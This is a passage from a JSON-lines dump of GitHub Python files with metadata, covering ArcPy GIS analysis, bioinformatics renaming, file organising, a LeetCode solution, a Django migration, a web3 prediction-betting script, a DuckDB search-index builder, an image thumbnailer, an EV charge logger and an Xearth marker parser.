os.path.join(outputDirectory,\"BlueWhales_Buffer.shp\")\n arcpy.analysis.Buffer(in_features=BlueWhales,\n out_feature_class=Buffered_BlueWhales,\n buffer_distance_or_field=\"50 Miles\",\n line_side=\"FULL\",\n line_end_type=\"ROUND\",\n dissolve_option=\"ALL\",\n dissolve_field=[],\n method=\"PLANAR\")\n\n print(\"buffer two complete\")\n\n\n\n#Process Two\n#We will now intersect the Blue Whales and Killer Whales roaming areas at 50 miles.\n BlueWhales_Buffer = os.path.join(outputDirectory,\"BlueWhales_Buffer.shp\")\n KillerWhales_Buffer = os.path.join(outputDirectory,\"KillerWhales_Buffer.shp\")\n Intersect_Whales = os.path.join(outputDirectory,\"IntersectedWhales.shp\")\n arcpy.Intersect_analysis(in_features=[[BlueWhales_Buffer, \"\"], [KillerWhales_Buffer, \"\"]],\n out_feature_class=Intersect_Whales, join_attributes=\"ALL\",\n cluster_tolerance=\"\", output_type=\"INPUT\")\n print(\"intersect complete\")\n return\n\nbuffer(\"vernacularName_Whale_Killer.shp\",\"vernacularName_Whale_Blue.shp\")\nprint(\"The function is complete, please view your file at 'IntersectedWhales.shp'\")\n","repo_name":"nickcurci/ArcPy","sub_path":"CodingChallenges/8 - Week_Eight/1- Coding Challenge One For Week8.py","file_name":"1- Coding Challenge One For Week8.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"71813161475","text":"\nimport re\nimport glob\nfrom Bio import SeqIO\nimport string\nimport random\nimport sys\nimport os\n\ndef main(argv):\n wd_dir = \".\"\n aln_fn_ext = \"aln\"\n aln_fns = glob.glob(wd_dir + \"/*.\" + aln_fn_ext)\n aln_format = \"fasta\"\n export_fn_ext = \"renamed\"\n map_fn = \"map.lst\"\n \n id_map = {}\n for aln_fn in aln_fns:\n print(\"Processing \" + aln_fn)\n seqs = SeqIO.index(aln_fn, aln_format)\n out_fn = aln_fn + \".\" + export_fn_ext\n with open(out_fn, \"w\") as OUT:\n for id in seqs.keys():\n cflag_existed = False\n while not cflag_existed:\n new_id = generate_id(id)\n if new_id not in id_map.keys():\n cflag_existed = True\n #print(\"Maping \" + id + \" to \" + new_id)\n \n id_map[new_id] = id + \"\\t\" + os.path.basename(aln_fn)\n seq = seqs[id]\n seq.id = new_id\n seq.name = new_id\n seq.description = \"\"\n \n SeqIO.write(seq, OUT, \"fasta\")\n \n with open(map_fn, \"w\") as OUT:\n for id in id_map:\n OUT.write(id + \"\\t\" + id_map[id] + \"\\n\")\n\n\n\ndef generate_id(id, n=10):\n digit_letters = (string.digits + string.letters)\n \n items = re.split(r\"_|-|\\.\", id)\n id = \"\"\n if len(items) == 6:\n id = id + items[0][0] + items[1][0] + items[2][1] + \"_\" + str(int(items[3])) + \"_\"\n rlen = n - len(id)\n id = id + \"\".join([random.choice(digit_letters) for i in range(0, rlen)])\n else:\n id = \"\".join([random.choice(digit_letters) for i in range(0, n)])\n return id\n\n\n# Invoke the main function\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n ","repo_name":"bcnskaa/Metagenomics","sub_path":"src/rename_aln.py","file_name":"rename_aln.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3649753177","text":"#!/usr/bin/python\n# Organize Files Script\n# If file count > 100, put 100 files in sub dir.\n\nimport sys\nimport os\nimport shutil\n\ndef getsubpath(filepath):\n isfindpath = False\n pathnum = 1\n while isfindpath == False:\n subpath = os.path.join(filepath, str(pathnum))\n if os.path.exists(subpath) == False:\n os.mkdir(subpath)\n isfindpath = True\n return subpath\n pathnum = pathnum + 1\n\ndef main():\n filelist = []\n filecount = 100\n filepath = os.getcwd()\n selffilename = 'OrganizeFiles.py'\n\n # Get file list\n v = os.walk(filepath)\n for root, dirs, files in v:\n filelist = files\n break\n\n # Exclude self file\n filelist.remove(selffilename)\n\n i = 1\n while filecount * i < len(filelist):\n # get sub path's files\n subfilelist = filelist[(i-1)*filecount:i*filecount]\n subpath = getsubpath(filepath)\n # move files\n for f in subfilelist:\n shutil.move(os.path.join(filepath, f), os.path.join(subpath, f))\n i = i + 1\n\nif __name__ == '__main__':\n main()","repo_name":"ghijnuuz/pythonscripts","sub_path":"OrganizeFiles.py","file_name":"OrganizeFiles.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28620686926","text":"''' \n\n@author: Administrator\n'''\nfrom numpy.core.multiarray import ITEM_HASOBJECT\nclass Solution:\n # @param {integer[]} nums\n # @return {integer[]}\n def productExceptSelf(self, nums):\n output = [1]*len(nums)\n \n temp = 1\n for index,item in enumerate(nums[:-1]):\n temp *= item\n output[index+1] = temp\n \n temp = 1\n for index in range(len(nums)-1):\n temp *= nums[-index-1]\n output[-index-2] *= temp\n return output\n \nif __name__==\"__main__\":\n nums = [1,2,3,4,5]\n for item in nums[:-1]:\n print(item)\n res = Solution().productExceptSelf(nums)\n print(res)\n ","repo_name":"luwy007/leetcode","sub_path":"_200_249/_238_Product_of_Array_Except_Self.py","file_name":"_238_Product_of_Array_Except_Self.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71926206595","text":"# -*- coding: utf-8 -*-\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [\n (\"actions\", \"0001_initial\"),\n ]\n\n operations = [\n migrations.AddField(\n model_name=\"action\",\n name=\"auto_approve\",\n field=models.NullBooleanField(default=None),\n ),\n ]\n","repo_name":"openstack/adjutant","sub_path":"adjutant/actions/migrations/0002_action_auto_approve.py","file_name":"0002_action_auto_approve.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"61"} +{"seq_id":"4684273502","text":"class Solution:\n def maximalSquare(self, matrix: List[List[str]]) -> int:\n row = len(matrix)\n if row == 0:\n return 0\n col = len(matrix[0])\n dp = [[0]* (col + 1) for _ in range(row + 1)]\n maxp = 0\n for i in range(1, row + 1):\n for j in range(1, col + 1):\n if matrix[i - 1][j - 1] == '1':\n dp[i][j] = min(dp[i - 1][j], dp[i - 1][j - 1], dp[i][j - 1]) + 1\n maxp = max(maxp, dp[i][j])\n\n\n return maxp * maxp","repo_name":"Xiaoboshi/Brush-Problem","sub_path":"leecode/code/221/221.py","file_name":"221.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17902180179","text":"import json\n\nfrom web3 import Web3\n\n# Contract address and ABI\ncontract_address = \"0x0E3A8078EDD2021dadcdE733C6b4a86E51EE8f07\"\n\nwith open(\"abi.json\") as abi_file:\n data = abi_file.read()\nabi = json.loads(data)\n\n# Provider\naccount_mainnet = \"\"\npk_account = \"\"\nrpc_mainnet = \"https://bsc-dataseed.binance.org\"\nw3 = Web3(Web3.HTTPProvider(rpc_mainnet))\n\n# Connect to contract\ncontract = w3.eth.contract(address=contract_address, abi=abi)\n\n# Current epoch\ncurrent_epoch = contract.functions.currentEpoch().call()\n\n\n# Send tx\ndef send_tx(side):\n chain_id = 56\n gas = 300000\n gas_price = Web3.to_wei(\"5.5\", \"gwei\")\n send_bnb = 0.001\n amount = Web3.to_wei(send_bnb, \"ether\")\n\n # Nonce\n nonce = w3.eth.get_transaction_count(account_mainnet)\n\n # Build Tx BULL\n if side == \"bull\":\n tx_build = contract.functions.betBull(current_epoch, amount).buildTransaction({\n \"chainId\": chain_id,\n \"gas\": gas,\n \"value\": amount,\n \"gasPrice\": gas_price,\n \"nonce\": nonce\n })\n\n # Build Tx BEAR\n else:\n tx_build = contract.functions.betBear(current_epoch, amount).buildTransaction({\n \"chainId\": chain_id,\n \"gas\": gas,\n \"value\": amount,\n \"gasPrice\": gas_price,\n \"nonce\": nonce\n })\n\n # Sign Tx\n tx_signed = w3.eth.account.sign_transaction(tx_build, pk_account)\n\n # Send Tx\n sent_tx = w3.eth.send_raw_transaction(tx_signed.rawTransaction)\n","repo_name":"willowsenator/PredictionsPython","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24981897088","text":"# checks if a valid configuration .yaml exists\n# if not found, creates a config file with default values\n\nimport os\nimport json\n\nclass configcheck:\n\n def __init__(self):\n return\n\n def check(*args):\n\n cfgfile = 'config.json'\n\n if not os.path.exists(cfgfile):\n print(' : config.json not found, creating new file with default values \\n')\n\n default = {\n \"currency\": \"dollars\",\n \"rules\": \"Don't be a gosh darned potato head you doofus!\",\n \"help\": \"???\",\n }\n with open (cfgfile, \"w\") as outfile:\n json.dump(default, outfile)\n else:\n print(' : config.json exists \\n')","repo_name":"sonjasd/cyborg","sub_path":"random_classes/configcheck.py","file_name":"configcheck.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32528363978","text":"import os\nimport marko\nimport re\nimport json\nfrom textwrap import shorten\n\nbase_dir = 'docs'\n\nskipped_files = [\n 'docs/search.md',\n 'docs/twitter_wall.md',\n 'docs/archive',\n 'docs/test',\n]\n\nfile_list = []\nskip_types = [marko.block.HTMLBlock]\n\n\ndef normal_whitespace(desc: str) -> str:\n return re.sub(r'\\s+', ' ', desc.strip())\n\n\ndef extract_text(parse_node):\n if not hasattr(parse_node, 'children'):\n return ''\n if type(parse_node) in skip_types:\n return ''\n if type(parse_node.children) == type(''):\n return (\n parse_node.children.replace('\\n', ' ').replace('\\r', ' ').replace('\\t', ' ')\n )\n result = ''\n for child in parse_node.children:\n result += ' ' + extract_text(child)\n return result\n\n\ndef sanitize_input(text):\n return normal_whitespace(re.sub(r'[^\\w\\s_-]', ' ', text.lower())).strip()\n\n\ndef extract_blurb(parse_node):\n for child in parse_node.children:\n if type(child) == marko.block.Paragraph:\n return extract_text(parse_node)\n return ''\n\n\ndef sanitize_blurb(text):\n BLURB_THRESHOLD = 120\n text = text.replace('\"', '').strip()\n return shorten(text, width=BLURB_THRESHOLD, placeholder='...')\n\n\ndef sanitize_category(category):\n category = category.replace('_', ' ')\n if category == 'sql':\n return 'SQL'\n else:\n return category.title()\n\n\ndef index_file(fname):\n if fname in skipped_files:\n return\n if not fname.endswith('.md'):\n return\n with open(fname, 'r') as f:\n text = f.read()\n splits = text.split('---', 2)\n if len(splits) != 3:\n print(f\"No 3 splits for file '{fname}', missing header?\")\n exit(1)\n title = ''\n text = ''\n blurb = ''\n category = ''\n # parse header info\n lines = splits[1].split('\\n')\n for line in lines:\n line = line.strip()\n if len(line) == 0:\n continue\n line_splits = line.split(':', 1)\n if len(line_splits) != 2:\n continue\n if line_splits[0].strip().lower() == 'title':\n title = line_splits[1].strip()\n if line_splits[0].strip().lower() == 'blurb':\n blurb = sanitize_blurb(line_splits[1].strip())\n if line_splits[0].strip().lower() == 'category':\n category = line_splits[1].strip()\n\n if len(title) == 0:\n print(f\"No title found for file '{fname}' missing header?\")\n exit(1)\n # parse main markdown file\n markdown_result = marko.parse(splits[2])\n text = extract_text(markdown_result)\n if len(blurb) == 0:\n blurb = sanitize_blurb(extract_blurb(markdown_result))\n if len(category) == 0:\n splits = fname.split(os.path.sep)\n category = sanitize_category(splits[len(splits) - 2])\n text = sanitize_input(text)\n file_list.append(\n {\n 'title': title,\n 'text': text,\n 'category': category,\n 'url': '/' + fname.replace('.md', ''),\n 'blurb': blurb,\n }\n )\n\n\ndef index_dir(dirname):\n if dirname in skipped_files:\n return\n files = os.listdir(dirname)\n for file in files:\n full_path = os.path.join(dirname, file)\n if os.path.isfile(full_path):\n index_file(full_path)\n elif os.path.isdir(full_path):\n index_dir(full_path)\n\n\nindex_dir(base_dir)\n\n\n# extract functions\ndef extract_markdown_text(text):\n parse_node = marko.parse(text)\n return extract_text(parse_node)\n\n\ndef sanitize_function(text):\n return (\n text.replace(' , ', ', ').replace('( ', '(').replace(' )', ')').replace(\"'\", '')\n )\n\n\ndef sanitize_desc(text):\n return text.replace(' .', '.')\n\n\nfunction_list = {}\n\n\ndef extract_functions(text, full_path):\n functions = re.findall(\n r'\\n[|]([^|\\n]+)[|]([^|\\n]+)[|]([^|\\n]+)[|]([^|\\n]+)[|]', text\n )\n for function in functions:\n name = sanitize_function(\n normal_whitespace(extract_markdown_text(function[0].strip()).strip())\n )\n desc = (\n name\n + \" - \"\n + sanitize_desc(\n normal_whitespace(extract_markdown_text(function[1].strip()).strip())\n )\n )\n if '--' in name:\n continue\n if name.lower() in ('function', 'operator'):\n continue\n if 'alias' in desc.lower():\n continue\n name = re.sub(r'[(][^)]*[)]', '', name)\n function_list[name] = {\n 'title': name,\n 'text': normal_whitespace(desc.lower()),\n 'category': os.path.basename(full_path).replace('.md', '').title()\n + \" Functions\",\n 'url': '/' + full_path.replace('.md', ''),\n 'blurb': sanitize_blurb(desc),\n }\n\n\nfunction_dir = os.path.sep.join('docs/sql/functions'.split('/'))\nfiles = os.listdir(function_dir)\nfiles.sort()\nfor file in files:\n full_path = os.path.join(function_dir, file)\n with open(full_path, 'r') as f:\n text = f.read()\n extract_functions(text, full_path)\n\nfile_list.extend(function_list.values())\n\nwith open('data/search_data.json', 'w+') as f:\n json.dump({'data': sorted(file_list, key=lambda x: x['title'])}, f, indent='\\t')\n","repo_name":"duckdb/duckdb-web","sub_path":"scripts/generate_search.py","file_name":"generate_search.py","file_ext":"py","file_size_in_byte":5214,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"61"} +{"seq_id":"5735595449","text":"# -*- coding: utf-8 -*-\nimport re\nimport cStringIO\n\nfrom PIL import Image\nfrom django.core.files.base import ContentFile\n\n__author__ = 'Daniel Alkemic Czuba '\n\n\ndef get_params(request):\n \"\"\"\n Returns dict with params stored in GET and POST. Params\n from POST shadows GET.\n \"\"\"\n _params, params = dict(request.GET.items() + request.POST.items()), {}\n\n for k in _params:\n match = re.match(r'(.*)\\[(.*)\\]', k, re.I)\n if match:\n # if not params.has_key(match.group(1)):\n if not match.group(1) in params:\n params[match.group(1)] = {}\n\n params[match.group(1)][match.group(2)] = _params[k]\n else:\n params[k] = _params[k]\n\n del _params\n\n return params\n\n\ndef get_values(iterable, keys, index_key='id', as_tuple=False):\n \"\"\"\n Returns dict of given keys from iterable object, then index them by\n index_key. If as_tuple is True, then return\n as two-dimensional tuple.\n \"\"\"\n to_return = {}\n\n for entry in iterable:\n if not isinstance(keys, tuple):\n to_return[entry.__getattribute__(index_key)] = \\\n entry.__getattribute__(keys)\n else:\n to_return[entry.__getattribute__(index_key)] = {}\n for key in keys:\n to_return[entry.__getattribute__(index_key)][key] = \\\n entry.__getattribute__(key)\n\n if as_tuple:\n tmp = {(i, to_return[i]) for i in to_return}\n to_return = tuple(tmp)\n\n return to_return\n\n\ndef reindex(iterable, index_key='id', as_tuple=False):\n \"\"\"\n Reindex, and return iterable by index_key. If as_tuple is True, then return\n as two-dimensional tuple.\n Beware, that this break optimisation from generators, etc.\n \"\"\"\n to_return = {}\n\n for entry in iterable:\n to_return[entry.__getattribute__(index_key)] = entry\n\n if as_tuple:\n tmp = {(i, to_return[i]) for i in to_return}\n to_return = tuple(tmp)\n\n return to_return\n\n\ndef generate_thumb(img, thumb_size, output_format, crop=False, upscale=False):\n \"\"\"\n Generates a thumbnail image and returns a ContentFile object with\n the thumbnail\n\n Parameters:\n ===========\n img File object\n\n thumb_size desired thumbnail size, ie: (200,120)\n\n format format of the original image ('jpeg','gif','png',...)\n (this format will be used for the generated thumbnail, too)\n \"\"\"\n\n img.seek(0) # see http://code.djangoproject.com/ticket/8222 for details\n image = Image.open(img)\n \"\"\":type : PIL.JpegImagePlugin.JpegImageFile\"\"\"\n\n # Convert to RGB if necessary\n if image.mode not in ('L', 'RGB', 'RGBA'):\n image = image.convert('RGB')\n\n max_width, max_height = thumb_size\n thumb_w, thumb_h = thumb_size\n\n # gdy zachodzi potrzeba zwiększenia rozmiaru obrazka, tak aby szerokość\n # bądź wysokość była równa wartości dla miniaturki\n if upscale:\n src_width, src_height = image.size\n if src_height < max_height and src_width < max_width:\n pass\n elif src_height < max_height:\n image.resize((max_width, int(\n float(src_width * max_height) / float(max_width)\n )), Image.CUBIC)\n elif src_width < max_width:\n image.resize((int(\n float(src_height * max_width) / float(max_height)\n ), max_height), Image.CUBIC)\n\n # If you want to generate a square thumbnail\n if thumb_w == thumb_h:\n # quad\n xsize, ysize = image.size\n # get minimum size\n minsize = min(xsize, ysize)\n # largest square possible in the image\n xnewsize = (xsize - minsize) / 2\n ynewsize = (ysize - minsize) / 2\n # crop it\n image2 = image.crop((\n xnewsize, ynewsize, xsize - xnewsize, ysize - ynewsize))\n \"\"\":type : PIL.JpegImagePlugin.JpegImageFile\"\"\"\n # load is necessary after crop\n image2.load()\n # thumbnail of the cropped image\n # (with ANTIALIAS to make it look better)\n image2.thumbnail(thumb_size, Image.ANTIALIAS)\n elif crop:\n src_width, src_height = image.size\n src_ratio = float(src_width) / float(src_height)\n dst_width, dst_height = max_width, max_height\n dst_ratio = float(dst_width) / float(dst_height)\n\n if dst_ratio < src_ratio:\n crop_height = src_height\n crop_width = crop_height * dst_ratio\n x_offset = int(float(src_width - crop_width) / 2)\n y_offset = 0\n else:\n crop_width = src_width\n crop_height = crop_width / dst_ratio\n x_offset = 0\n y_offset = int(float(src_height - crop_height) / 3)\n\n image2 = image.crop((\n x_offset, y_offset, x_offset + int(crop_width),\n y_offset + int(crop_height)))\n image2 = image2.resize(thumb_size, Image.ANTIALIAS)\n else:\n # not quad\n image2 = image\n image2.thumbnail(thumb_size, Image.ANTIALIAS)\n\n io = cStringIO.StringIO()\n # PNG and GIF are the same, JPG is JPEG\n if output_format.upper() == 'JPG':\n output_format = 'JPEG'\n\n image2.save(io, output_format)\n return ContentFile(io.getvalue())\n","repo_name":"Alkemic/webpage","sub_path":"boski/helpers/others.py","file_name":"others.py","file_ext":"py","file_size_in_byte":5288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14619750718","text":"\"\"\"\nplace to put configuration settings for the tests\n\ncan put secrets in .secrets.toml in the project root\n\"\"\"\nfrom dynaconf import Dynaconf\n\nsettings = Dynaconf(\n envvar_prefix=\"DYNACONF\",\n settings_files=['settings.toml', '.secrets.toml'],\n)\n\n# `envvar_prefix` = export envvars with `export DYNACONF_FOO=bar`.\n# `settings_files` = Load these files in the order.\n","repo_name":"eegml/eeghdf","sub_path":"tests/testconfig.py","file_name":"testconfig.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23539551431","text":"data = open('A-large.in','r')\r\nd = open('A-large.out','w')\r\n\r\ncases = int(data.readline());count = 1\r\n\r\nwhile (count <= cases):\r\n pan,flips = data.readline().split();flips = int(flips);pank = []\r\n for x in range(len(pan)):\r\n if pan[x] == '-': pank.append(-1)\r\n else: pank.append(+1)\r\n ans,count_1 = 0,0\r\n while((count_1 + flips) <= len(pank)):\r\n if pank[count_1] == -1 :\r\n pank[count_1:count_1+flips] = [ pank[x]*(-1) for x in range(count_1,(count_1+flips))]\r\n ans += 1\r\n count_1 += 1\r\n if sum(pank) == len(pank): print >>d,('Case #' + str( count) + ': ' + str(ans))\r\n else: print >>d,('Case #' + str( count) + ': ' + 'IMPOSSIBLE')\r\n count += 1\r\nd.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/1136.py","file_name":"1136.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"746982252","text":"import numpy as np\nimport re\nimport itertools\nfrom collections import Counter\nimport pandas as pd \n\ndef clean_str(string):\n \"\"\"\n Original taken from https://github.com/yoonkim/CNN_sentence/blob/master/process_data.py\n \"\"\"\n string = re.sub(r\"[^A-Za-z0-9(),!?\\'\\`]\", \" \", string)\n string = re.sub(r\"\\'s\", \" \\'s\", string)\n string = re.sub(r\"\\'ve\", \" \\'ve\", string)\n string = re.sub(r\"n\\'t\", \" n\\'t\", string)\n string = re.sub(r\"\\'re\", \" \\'re\", string)\n string = re.sub(r\"\\'d\", \" \\'d\", string)\n string = re.sub(r\"\\'ll\", \" \\'ll\", string)\n string = re.sub(r\",\", \" , \", string)\n string = re.sub(r\"!\", \" ! \", string)\n string = re.sub(r\"\\(\", \" \\( \", string)\n string = re.sub(r\"\\)\", \" \\) \", string)\n string = re.sub(r\"\\?\", \" \\? \", string)\n string = re.sub(r\"\\s{2,}\", \" \", string)\n return string.strip().lower()\n\n\ndef load_data_and_labels(data_file,testing=False):\n\n # Load data from files\n df = pd.read_csv(data_file,encoding = 'latin1')\n s_c = []\n sub_c = []\n for index,row in df.iterrows():\n if row['category'] not in s_c:\n s_c.append(row['category'])\n if row['subcategory'] not in sub_c:\n sub_c.append(str(row['subcategory']))\n \n print('Categories: ',s_c)\n # print('Sub Categories: ',sub_c)\n\n examples = []\n labels = []\n for index, row in df.iterrows():\n if testing:\n examples.append(str(row['short_description']).strip())\n labels.append(str(row['category']))\n else:\n for i in range(len(s_c)):\n if s_c[i] == str(row['category']):\n examples.append(str(row['short_description']).strip())\n l = np.zeros(len(s_c))\n l[i] = 1.0\n labels.append(l)\n return [examples, np.array(labels)]\n\n\ndef batch_iter(data, batch_size, num_epochs, shuffle=True):\n \"\"\"\n Generates a batch iterator for a dataset.\n \"\"\"\n data = np.array(data)\n data_size = len(data)\n num_batches_per_epoch = int((len(data)-1)/batch_size) + 1\n for epoch in range(num_epochs):\n # Shuffle the data at each epoch\n if shuffle:\n shuffle_indices = np.random.permutation(np.arange(data_size))\n shuffled_data = data[shuffle_indices]\n else:\n shuffled_data = data\n for batch_num in range(num_batches_per_epoch):\n start_index = batch_num * batch_size\n end_index = min((batch_num + 1) * batch_size, data_size)\n yield shuffled_data[start_index:end_index]\n","repo_name":"antonemking/CNN","sub_path":"data_processor.py","file_name":"data_processor.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36452896309","text":"# -*- coding: utf-8 -*-\n\"\"\"Charge logging script\n\nThis script will download the get_vehicle_status every 5 minutes\nand log them locally. Based on the Charge Off-Peak script.\n\nThis script is independent from visualization script in order to run it on different computers\n\n\"\"\"\n\nimport jlrpy\nimport threading\nimport datetime\nimport math\n\nfrom datetime import date\nimport os\nimport configparser\n\n\n# login info (email and password) are read from $HOME/.jlrpy.cfg\n# which contains a single line with email and password separated by ':'\n# email@example.com:PassW0rd\n# passwords containing a ':' are not allowed\n\nlogger = jlrpy.logger\n\n\n\ndef check_soc():\n \"\"\"Retrieve vehicle status.\n \"\"\"\n \n \"\"\"!missing: adjust logging frequency to charging speed: \n > 100% every 1 Min\n > 50% every 2 Min\n > 0 every 5 Min\n unpluged every 5 Min\n \"\"\"\n threading.Timer(2 * 60, check_soc).start() # Called every 2 minutes \n\n # getting status update\n status = { d['key'] : d['value'] for d in v.get_status()['vehicleStatus'] }\n\n current_soc = int(status['EV_STATE_OF_CHARGE'])\n charging_status = status['EV_CHARGING_STATUS']\n logger.info(\"current SoC is \"+str(current_soc)+\"%\")\n\n if status['EV_CHARGING_METHOD'] == \"WIRED\":\n logger.info(\"car is plugged in\")\n logger.info(\"charging status is \"+charging_status)\n\n p = v.get_position()\n position = (p['position']['latitude'], p['position']['longitude'])\n logger.info(\"car geo-position is \"+str(position))\n position = \", 'POSITION_LATITUDE': \" + str(position[0]) + \", 'POSITION_LONGITUDE': \" + str(position[1])\n\n t = datetime.datetime.now()\n clogfilename = \"jaguar-logs/charging-log_\" + t.strftime(\"%Y-%m-%d_%H-%M-%S\") + \".json\"\n clogfile= open(clogfilename,\"w+\")\n logger.info(\"writing charging log file \" + clogfilename)\n\n # getting health status forces a status update\n healthstatus = v.get_health_status()\n status = { d['key'] : d['value'] for d in v.get_status()['vehicleStatus']}\n logtime = \", 'LOGTIMESTAMP': '\"+ t.isoformat() +\"'}\"\n clogfile.write(str(status).replace(\"}\", \"\") + position + logtime)\n clogfile.close() \n \n else:\n logger.info(\"car is not plugged in\")\n\nconfig = configparser.ConfigParser()\nconfigfile = os.environ['HOME']+\"/.jlrpy.ini\"\nconfig.read(configfile)\nusername = config['jlrpy']['email']\npassword = config['jlrpy']['password']\nhome = (float(config['jlrpy']['home_latitude']), float(config['jlrpy']['home_longitude']))\n\nc = jlrpy.Connection(username, password)\nv = c.vehicles[0]\n\nlogger.info(\"[*] Logging vehicle status\")\ncheck_soc()\n","repo_name":"stefferber/jaguar","sub_path":"jaguar-charging.py","file_name":"jaguar-charging.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"86418954509","text":"__doc__ += \"\"\".\n\n.. moduleauthor:: James Rowe \n.. versionadded:: 0.2.0\n\"\"\"\n\nfrom . import (point, utils)\n\nclass Xearth(point.Point):\n \"\"\"Class for representing a location from a Xearth marker\n\n .. versionadded:: 0.2.0\n\n \"\"\"\n\n __slots__ = ('comment', )\n\n def __init__(self, latitude, longitude, comment=None):\n \"\"\"Initialise a new ``Xearth`` object\n\n >>> Xearth(52.015, -0.221, \"James Rowe's house\")\n Xearth(52.015, -0.221, \"James Rowe's house\")\n\n :type latitude: ``float`` or coercible to ``float``\n :param latitude: Location's latitude\n :type longitude: ``float`` or coercible to ``float``\n :param longitude: Location's longitude\n :type comment: ``str``\n :param comment: Comment for location\n\n \"\"\"\n super(Xearth, self).__init__(latitude, longitude)\n self.comment = comment\n\n def __str__(self, mode=\"dd\"):\n \"\"\"Pretty printed location string\n\n .. seealso:\n\n :class:`point.Point`\n\n >>> print(Xearth(52.015, -0.221))\n N52.015°; W000.221°\n >>> print(Xearth(52.015, -0.221).__str__(mode=\"dms\"))\n 52°00'54\"N, 000°13'15\"W\n >>> print(Xearth(52.015, -0.221).__str__(mode=\"dm\"))\n 52°00.90'N, 000°13.26'W\n >>> print(Xearth(52.015, -0.221, \"James Rowe's house\"))\n James Rowe's house (N52.015°; W000.221°)\n\n :type mode: ``str``\n :param mode: Coordinate formatting system to use\n :rtype: ``str``\n :return: Human readable string representation of ``Xearth`` object\n\n \"\"\"\n text = super(Xearth, self).__str__(mode)\n\n if self.comment:\n return \"%s (%s)\" % (self.comment, text)\n else:\n return text\n\n\nclass Xearths(point.KeyedPoints):\n \"\"\"Class for representing a group of :class:`Xearth` objects\n\n .. versionadded:: 0.5.1\n\n \"\"\"\n\n def __init__(self, marker_file=None):\n \"\"\"Initialise a new ``Xearths`` object\"\"\"\n super(Xearths, self).__init__()\n self._marker_file = marker_file\n if marker_file:\n self.import_locations(marker_file)\n\n def __str__(self):\n \"\"\"``Xearth`` objects rendered for use with Xearth/Xplanet\n\n >>> markers = Xearths(open(\"xearth\"))\n >>> print(markers)\n 52.015000 -0.221000 \"Home\"\n 52.633300 -2.500000 \"Telford\"\n\n :rtype: ``str``\n :return: Xearth/Xplanet marker file formatted output\n\n \"\"\"\n return \"\\n\".join(utils.dump_xearth_markers(self, \"comment\"))\n\n def import_locations(self, marker_file):\n \"\"\"Parse Xearth data files\n\n ``import_locations()`` returns a dictionary with keys containing the\n xearth_ name, and values consisting of a :class:`Xearth` object and\n a string containing any comment found in the marker file.\n\n It expects Xearth marker files in the following format::\n\n # Comment\n\n 52.015 -0.221 \"Home\" # James Rowe's home\n 52.6333 -2.5 \"Telford\"\n\n Any empty line or line starting with a '#' is ignored. All data lines\n are whitespace-normalised, so actual layout should have no effect. The\n above file processed by ``import_locations()`` will return the following\n ``dict`` object::\n\n {'Home': point.Point(52.015, -0.221, \"James Rowe's home\"),\n 'Telford': point.Point(52.6333, -2.5, None)}\n\n .. note:\n This function also handles the extended xplanet_ marker files whose\n points can optionally contain added xplanet specific keywords for\n defining colours and fonts.\n\n >>> markers = Xearths(open(\"xearth\"))\n >>> for key, value in sorted(markers.items()):\n ... print(\"%s - %s\" % (key, value))\n Home - James Rowe's home (N52.015°; W000.221°)\n Telford - N52.633°; W002.500°\n\n :type marker_file: ``file``, ``list`` or ``str``\n :param marker_file: Xearth marker data to read\n :rtype: ``dict``\n :return: Named locations with optional comments\n\n .. _xearth: http://www.cs.colorado.edu/~tuna/xearth/\n .. _xplanet: http://xplanet.sourceforge.net/\n\n \"\"\"\n self._marker_file = marker_file\n data = utils.prepare_read(marker_file)\n\n for line in data:\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n chunk = line.split(\"#\")\n data = chunk[0]\n comment = chunk[1].strip() if len(chunk) == 2 else None\n # Need maximum split of 2, because name may contain whitespace\n latitude, longitude, name = data.split(None, 2)\n name = name.strip()\n # Find matching start and end quote, and keep only the contents\n name = name[1:name.find(name[0], 1)]\n self[name.strip()] = Xearth(latitude, longitude, comment)\n\n","repo_name":"M4rtinK/modrana","sub_path":"core/bundle/upoints/xearth.py","file_name":"xearth.py","file_ext":"py","file_size_in_byte":4944,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"61"} +{"seq_id":"73708397634","text":"#!/usr/bin/env python\n\nimport optparse, re\n\n# Used to check the taxonomy categories assigned to protein sequences\n# Based on kmer overlap to validated reference sequences\n\ndef main():\n usage = '%prog [options]'\n p = 